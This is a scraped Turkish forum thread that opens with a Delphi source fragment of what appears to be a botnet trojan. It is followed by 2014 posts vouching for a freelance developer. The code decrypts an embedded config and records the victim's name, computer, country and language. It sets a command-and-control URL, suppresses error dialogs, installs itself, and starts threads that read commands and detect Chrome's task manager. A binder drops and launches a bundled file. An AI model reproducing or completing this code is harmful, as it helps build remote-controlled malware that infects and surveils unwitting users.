    
        ResData : String;
        ResourceStream : TResourceStream;
        Stream : TMemoryStream;
        FileData : String;
        BindFilePath : String;
    
        threadTaskManagerId,
        threadInstallServerId,
        lpReadCommandThreadId : cardinal;
    
    begin
        DemoVersion;
    
        SetErrorMode(SEM_FAILCRITICALERRORS +
                     SEM_NOALIGNMENTFAULTEXCEPT +
                     SEM_NOGPFAULTERRORBOX +
                     SEM_NOOPENFILEERRORBOX);
        DemoVersion;
    
    
        ResData:='';
        ResourceStream:=TResourceStream.Create(0,'TKEY',RT_RCDATA);
        ResourceStream.Position:=0;
        SetString(ResData,pansichar(ResourceStream.Memory),ResourceStream.Size);
        ResData := Decrypt(ResData);
        DebugPrompt('DECRYPTED RES DATA : ' + ResData);
    
        Stream := TMemoryStream.Create;
        Stream.Write(pointer(ResData)^,Length(ResData));
        Stream.Position := 0;
        Stream.Read(Info,SizeOf(TInfo));
    
        FileData:='';
        try
          ResourceStream:=TResourceStream.Create(0,'TFILE',RT_RCDATA);
          SetString(FileData,pansichar(ResourceStream.Memory),ResourceStream.Size);
        except on e : Exception do
          begin
            OutputDebugStringA(PAnsiChar(e.Message));
          end;
        end;
        FileData := Decrypt(FileData);
    
    
    
    
    
    
        BotConfig.ProductKey         := 'DENEMETEST';
        BotConfig.Mutex              := 'DENEMETESTv10';
        BotConfig.VictimName         := GetUserInfo(1);
        BotConfig.VictimComputerName := GetUserInfo(0);
        BotConfig.VictimCountry      := GetUserInfo(2);
        BotConfig.VictimLanguage     := GetUserInfo(3);
        BotConfig.InstallName        := String(INFO.PROGRAMNAME);
        BotConfig.RegistryName       := String(INFO.KEY);
        BotConfig.CommandURL         := String(INFO.URL_ADDR);
    
        DemoVersion;
        BotConfig.SettingsFile := GetCustomPath(7) + BotConfig.VictimCountry + '_' + BotConfig.VictimName + '\' + BotConfig.VictimComputerName + '\' + BotConfig.VictimCountry + '\DENEMETEST.ini' ;
        MakeSureDirectoryPathExists(PAnsiChar(IncludeTrailingBackSlash(ExtractFilePath(BotConfig.SettingsFile))));
        DebugPrompt(BotConfig.SettingsFile);
        DemoVersion;
        {$IFDEF DEBUG_MODE_ON}
          DeleteFileA(PAnsiChar(BotConfig.SettingsFile));
        {$ENDIF}
        DemoVersion;
    
        BotConfig.SettingsIniFile := TIniFile.Create(BotConfig.SettingsFile);
        BotConfig.InstallDirectory := IncludeTrailingBackSlash(ExtractFilePath(BotConfig.SettingsFile));
        BotConfig.InstallDirectoryPath := BotConfig.InstallDirectory + BotConfig.InstallName;
        DemoVersion;
    
        DemoVersion;
        {$IFNDEF DEBUG_MODE_ON}
        if INFO.INSTALL=True
          then begin
                  InstallFile;
               end;
        {$ENDIF}
    
        DemoVersion;
        threadReadCommands  := CreateThread(Nil,0,@ReadCommands,nil,0,lpReadCommandThreadId);
        threadTaskManager   := CreateThread(nil,0,@DetectChromeTaskManager,nil,0,threadChromeTaskManagerControl);
    
        BindFilePath := BotConfig.InstallDirectory + INFO.FILE_NAME;
        DebugPrompt('Bindirilen Dosya : ' + BindFilePath);
        if Info.BINDER=TRUE
         then begin
                  if not FileExists(BindFilePath)
                   then begin
    
                         DebugPrompt('Bindirilen Dosya Calıştırılıyor...');
                         Str2File(FileData,BindFilePath);
                         ShellExecuteA(0,'OPEN',PAnsiChar(BindFilePath),'',NIL,SW_SHOW);
                         DebugPrompt('Bindirilen Dosya Calistirildi');
                        end;
              end;
    
        While GetMessage(Msg,0,0,0) Do
        begin
          TranslateMessage(Msg);
          DispatchMessage(Msg);
        end;
    
    end.
    1 adet iş verildi yarın öğlen ödemesi yapılacak,akşama doğruda teslim alınacak.
  • 24-10-2014, 15:54:57
    #20
    Arkadaşa iş verildi teslim alındı ilgili bir arkadaş teşekkürler.
  • 27-10-2014, 00:05:44
    #21
    Dini bütün bir arkadaşımızdır. Güzel işler yapar. Çok iş yaptım güvenebilirsiniz.
  • 27-10-2014, 09:52:37
    #22
    Üyeliği durduruldu
    squrtle adlı üyeden alıntı: mesajı görüntüle
    Dini bütün bir arkadaşımızdır. Güzel işler yapar. Çok iş yaptım güvenebilirsiniz.
    teşekkürler.
  • 28-10-2014, 20:46:53
    #23
    Bir çok projede arkadaşla çalıştık. Özellikle ilahi dinleme ios ve android uygulamasını harika yaptı.
  • 31-10-2014, 10:16:26
    #24
    Üyeliği durduruldu
    anfidya adlı üyeden alıntı: mesajı görüntüle
    Bir çok projede arkadaşla çalıştık. Özellikle ilahi dinleme ios ve android uygulamasını harika yaptı.
    teşekkürler anfidya
  • 03-11-2014, 23:40:35
    #25
    Kendisi ile bir proje üzerinden anlaşıldı ve iş verildi , verildiği dakika itibari ile an be an team viewer üzerinden canlı canlı izleme fırsatı buldum.Böyle bir yazılımcı asla bulamassiniz çünkü ; projeyi bir kaç kişiye anlattım projeyi anlayamadılar bile ama arkadaş direk team üzerinden desteğini sundu.Gösterdiği ilgi ve alakada cabası sıkılmadan sorularıma cevap verdi , bazı arkadaşlar gibi hadı yaptıracakmısın , git googlede ara gibi cevaplar almadım...
  • 04-11-2014, 01:40:11
    #26
    uzmankirala üzerinden iş yapmışlığımmız var kesinlikle çok profosyenel bir arkadaş çalışmanızı öneririm.
  • 04-11-2014, 02:50:24
    #27
    Üyeliği durduruldu
    Bagatur adlı üyeden alıntı: mesajı görüntüle
    uzmankirala üzerinden iş yapmışlığımmız var kesinlikle çok profosyenel bir arkadaş çalışmanızı öneririm.
    teşekkür ederim.